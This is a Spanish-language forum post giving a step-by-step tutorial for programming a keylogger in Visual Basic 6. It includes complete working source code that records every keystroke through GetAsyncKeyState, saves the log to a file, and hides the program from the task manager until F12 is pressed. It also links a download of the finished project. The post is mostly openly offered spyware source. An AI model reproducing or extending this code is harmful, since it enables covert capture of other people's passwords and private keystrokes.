Como programar un Keylogger

Bueno, antes que nada voy a darles la definición de keylogger:
Un keylogger (derivado del inglés: Key (tecla) y Logger(Registrador); registrador de teclas. Es un tipo de software que seencarga de registrar las pulsaciones que se realizan en el teclado,para memorizarlas en un fichero y/o enviarlas a través de internet.
Wikipedia: http://es.wikipedia.org/wiki/Keylogger

¿Que necesitamos?
Visual Basic 6.0
Es un IDE de desarrollo de la empresa Microsoft.
Lo pueden buscar vía identi hay decenas de post para descargarlo 

Dadas las introducciones, manos en el teclado:
Por empezar abrimos el visual,



Y hacemos clic en ?EXE estándart?



Y tenemos ahora la ventana del formulario



Y entramos a la ventana de código haciendo doble clic sobre el formulario y vemos nuestro código inicial:

Option Explicit
Sub form_load()

End sub

Pero volviendo a la ventana de diseño (arriba a la derecha dondedice form1 le damos doble clic) y vamos a agregar los siguientesobjetos:

Tres botones
Cmd_Ocultar
Cmd_Guardar_Log
Cmd_Cerrar

Un textbox
Txt_log

Un timer
Timer1

Y vamos a configurar los componentes en la ventana de propiedades:




Y haciendo clic en nuestros controles podemos cambiar las propiedades como el nombre.
Los nombres de los objetos deben ser los que se indican arriba para que funcione el código.

Para el form1 vamos a configurar:

BorderStyle= 1-Fixed Single
Caption = Keylogger
MinButton = true
MaxButton = true

Para el textbox vamos a poner

Multiline = true
Scrollbar = 2- Vertical
Text = (vacio)
Locked = true

Para el timer:

Interval: 50

Y los botones les vamos a cambiar el nombre y en la propiedad caption (titulo) vamos a poner como vemos en la vista previa:



En el comienzo del código (pero después del Option Explicit) vamos a declarar la función siguiente:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Esta función es la encargada de revisar el estado de las teclas.
Ahora vamos a introducir el código de los botones como sigue:
Para el botón ocultar:

Private Sub Cmd_Ocultar_Click()
 Me.Hide
 App.TaskVisible = False
End Sub

Lo que hace este código es ocultar el formulario y ocultar elprograma en la lista de aplicaciones del administrador de tareas. Ahorapara el Cmd_Guardar:

Private Sub Cmd_Guardar_Log_Click()
 Open App.Path & "log.txt" For Output As #1
   Write #1, txtlog.Text
 Close #1
End Sub

Estas lineas guardan un archive llamado log.txt que sera creado enla ruta donde se encuentre el keylogger. Si el archivo ya existe serareemplazado.
Para el botón cerrar:

Private Sub Cmd_Cerrar_Click()
Unload me
End Sub


Que simplemente cierra el formulario y en consecuencia el programa. Es lo mismo poner ?end? que ?unload me? en este caso.
Y el corazón del programa estará en el timer1:

Private Sub Timer1_Timer()
 Dim i As Integer
 For i = 1 To 256
   If GetAsyncKeyState(i) = -32767 Then
   txt_log.Text = txt_log.Text & Chr(i)
   If i = 123 Then
     Me.Show
     App.TaskVisible = True
   End If
   End If
 Next i
End Sub

Lo que hace esta función es fijarse el estado de las teclas cuyovalor ASCII va desde el 1 al 256 y si esta presionada se coloca en eltxt_log. En la parte donde compara ?i? con ?123? se refiere a la tecla?F12?. Cuando el programa esté oculto esta tecla lo traera de vuelta.
Podemos ver que algunas teclas como Enter, las teclas de funciones(F1, F2), control, escape y los signos no quedarán registradas en ellog. Lo que podemos hacer es comprobar el valor ASCII de las mismas eincluirlo en el codigo.
Para ver el ASCII hacemos en el timer:

Private Sub Timer1_Timer()
 Dim i As Integer
 For i = 1 To 256
   If GetAsyncKeyState(i) = -32767 Then
       Txt_Log = i
   End
   End If
 Next i
End Sub

Y al pulsar una tecla aparecerá el ASCII en el txt_log, Ahorahacemos como con F12 y podemos agregar que cuando se pulse controlaparezca la palabra {control} en el log y así con las demás. Estecodigo puede simplificarse utilizando la intrucción select case.
El código completo utilizado es el siguiente:

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Cmd_Cerrar_Click()
 End
End Sub

Private Sub Cmd_Guardar_Log_Click()
 Open App.Path & "log.txt" For Output As #1
   Write #1, txt_log.Text
 Close #1
End Sub

Private Sub Cmd_Ocultar_Click()
 Me.Hide
 App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
 Dim i As Integer
 For i = 1 To 256
   If GetAsyncKeyState(i) = -32767 Then
   txt_log.Text = txt_log.Text & Chr(i)
   If i = 123 Then
     Me.Show
     App.TaskVisible = True
   End If
   End If
 Next i
End Sub

Acá una vista previa:



Pueden descargarse el proyecto desde acá:

http://www.mediafire.com/file/gmmnywrlydd/Keylogger%20%20T%21.rar


Eso es todo. Espero que les haya gustado
Como programar un Keylogger
0 Puntos Score: 0/10
Visitas: 3510 Favoritos: 1
0 Comentarios Como programar un Keylogger
Este post no tiene comentarios. Sea el primero!
Para dejar un comentario Registrate! o.. eres ya usuario? Accede!